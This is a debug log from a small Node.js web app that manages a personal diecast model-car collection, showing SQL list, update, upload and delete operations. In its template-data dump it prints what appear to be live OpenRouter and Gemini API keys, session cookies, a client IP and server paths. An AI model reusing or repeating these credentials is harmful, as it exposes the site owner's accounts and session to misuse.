= ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:44:29.558Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini CoutachLP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:46:02.648Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T10:46:02.648Z server-connect:app Executing action step identify
2026-02-04T10:46:02.648Z server-connect:app options: { provider: 'security' }
2026-02-04T10:46:02.648Z server-connect:output identity: 1
2026-02-04T10:46:02.649Z server-connect:app Executing action step restrict
2026-02-04T10:46:02.649Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:46:02.650Z server-connect:output restrict: undefined
2026-02-04T10:46:02.650Z server-connect:app Executing action step condition
2026-02-04T10:46:02.651Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T10:46:02.651Z server-connect:app Executing action step update
2026-02-04T10:46:02.651Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T10:46:02.653Z server-connect:output update: { affected: 1 }
2026-02-04T10:46:02.653Z server-connect:app Executing action step upload
2026-02-04T10:46:02.653Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T10:46:02.653Z server-connect:output upload_image: []
2026-02-04T10:46:02.653Z server-connect:app Executing action step repeat
2026-02-04T10:46:02.653Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T10:46:02.653Z server-connect:output repeat_images: []
2026-02-04T10:46:02.653Z server-connect:output condition: undefined
2026-02-04T10:46:02.928Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:46:02.929Z server-connect:app Executing action step identify
2026-02-04T10:46:02.929Z server-connect:app options: { provider: 'security' }
2026-02-04T10:46:02.929Z server-connect:output identity: 1
2026-02-04T10:46:02.929Z server-connect:app Executing action step restrict
2026-02-04T10:46:02.929Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:46:02.929Z server-connect:output restrict: undefined
2026-02-04T10:46:02.929Z server-connect:app Executing action step paged
2026-02-04T10:46:02.929Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:46:02.932Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini Coutach LP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:47:48.250Z server-connect:router Serving serverConnect /api/diecast/delete-image
2026-02-04T10:47:48.250Z server-connect:app Executing action step identify
2026-02-04T10:47:48.250Z server-connect:app options: { provider: 'security' }
2026-02-04T10:47:48.250Z server-connect:output identity: 1
2026-02-04T10:47:48.250Z server-connect:app Executing action step restrict
2026-02-04T10:47:48.250Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:47:48.251Z server-connect:output restrict: undefined
2026-02-04T10:47:48.251Z server-connect:app Executing action step single
2026-02-04T10:47:48.251Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    params: [ [Object] ],
    table: { name: 'diecast_images' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `image_url` from `diecast_images` where `diecast_images`.`id` = ?'
  }
}
2026-02-04T10:47:48.252Z server-connect:output diecast_image: {
  image_url: '/public/assets/images/diecast/20251113_160838_6f9e74be-75e6-4c44-9b80-222fb4a7f7a1.jpg'
}
2026-02-04T10:47:48.252Z server-connect:app Executing action step delete
2026-02-04T10:47:48.252Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'diecast_images',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `diecast_images` where `id` = ? and `diecast_id` = ?',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:47:48.253Z server-connect:output delete: { affected: 1 }
2026-02-04T10:47:48.253Z server-connect:app Executing action step remove
2026-02-04T10:47:48.253Z server-connect:app options: { path: '{{diecast_image.image_url}}' }
2026-02-04T10:47:48.253Z server-connect:output fileRemove: true
2026-02-04T10:47:48.537Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:47:48.537Z server-connect:app Executing action step identify
2026-02-04T10:47:48.537Z server-connect:app options: { provider: 'security' }
2026-02-04T10:47:48.537Z server-connect:output identity: 1
2026-02-04T10:47:48.537Z server-connect:app Executing action step restrict
2026-02-04T10:47:48.537Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:47:48.538Z server-connect:output restrict: undefined
2026-02-04T10:47:48.538Z server-connect:app Executing action step paged
2026-02-04T10:47:48.538Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:47:48.542Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini Coutach LP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: []
    }
  ]
}
2026-02-04T10:47:48.813Z server-connect:router Serving templateView /
2026-02-04T10:47:48.813Z server-connect:app Executing action step identify
2026-02-04T10:47:48.813Z server-connect:app options: { provider: 'security' }
2026-02-04T10:47:48.813Z server-connect:output identity: 1
2026-02-04T10:47:48.813Z server-connect:app Executing action step restrict
2026-02-04T10:47:48.813Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:47:48.814Z server-connect:output restrict: undefined
2026-02-04T10:47:48.814Z server-connect:app Executing action step restrict
2026-02-04T10:47:48.814Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:47:48.814Z server-connect:output restrict: undefined
2026-02-04T10:47:48.814Z server-connect:router Render template layouts/main
2026-02-04T10:47:48.814Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=171&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=171&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T10:47:53.792Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T10:47:53.793Z server-connect:app Executing action step identify
2026-02-04T10:47:53.793Z server-connect:app options: { provider: 'security' }
2026-02-04T10:47:53.793Z server-connect:output identity: 1
2026-02-04T10:47:53.793Z server-connect:app Executing action step restrict
2026-02-04T10:47:53.793Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:47:53.793Z server-connect:output restrict: undefined
2026-02-04T10:47:53.793Z server-connect:app Executing action step condition
2026-02-04T10:47:53.793Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T10:47:53.793Z server-connect:app Executing action step update
2026-02-04T10:47:53.794Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T10:47:53.794Z server-connect:output update: { affected: 1 }
2026-02-04T10:47:53.794Z server-connect:app Executing action step upload
2026-02-04T10:47:53.794Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T10:47:53.795Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T10:47:53.795Z server-connect:upload Process fields: 'images[]'
2026-02-04T10:47:53.795Z server-connect:upload Processing file: {
  name: 's-l1600 (17).webp',
  data: <Buffer >,
  size: 74734,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-50-20378841770202073791',
  truncated: false,
  mimetype: 'image/webp',
  md5: '04a1eaa7240d902f63e6996f1d143df3',
  mv: [Function: mv]
}
2026-02-04T10:47:53.795Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_17_0be0b5b9-fa01-4385-a10d-d7e70eaafbca.webp',
  rel: 'public/assets/images/diecast/s-l1600_17_0be0b5b9-fa01-4385-a10d-d7e70eaafbca.webp'
}
2026-02-04T10:47:53.795Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_17_0be0b5b9-fa01-4385-a10d-d7e70eaafbca.webp',
  rel: 'assets/images/diecast/s-l1600_17_0be0b5b9-fa01-4385-a10d-d7e70eaafbca.webp'
}
2026-02-04T10:47:53.795Z server-connect:output upload_image: [
  {
    name: 's-l1600_17_0be0b5b9-fa01-4385-a10d-d7e70eaafbca.webp',
    path: '/public/assets/images/diecast/s-l1600_17_0be0b5b9-fa01-4385-a10d-d7e70eaafbca.webp',
    url: '/assets/images/diecast/s-l1600_17_0be0b5b9-fa01-4385-a10d-d7e70eaafbca.webp',
    type: 'image/webp',
    size: 74734
  }
]
2026-02-04T10:47:53.795Z server-connect:app Executing action step repeat
2026-02-04T10:47:53.795Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T10:47:53.795Z server-connect:app Executing action step insert
2026-02-04T10:47:53.795Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:47:53.795Z server-connect:output images: { affected: 1, identity: 201 }
2026-02-04T10:47:53.795Z server-connect:output repeat_images: [ {} ]
2026-02-04T10:47:53.795Z server-connect:output condition: undefined
2026-02-04T10:47:54.109Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:47:54.110Z server-connect:app Executing action step identify
2026-02-04T10:47:54.110Z server-connect:app options: { provider: 'security' }
2026-02-04T10:47:54.110Z server-connect:output identity: 1
2026-02-04T10:47:54.110Z server-connect:app Executing action step restrict
2026-02-04T10:47:54.110Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:47:54.110Z server-connect:output restrict: undefined
2026-02-04T10:47:54.110Z server-connect:app Executing action step paged
2026-02-04T10:47:54.110Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:47:54.112Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
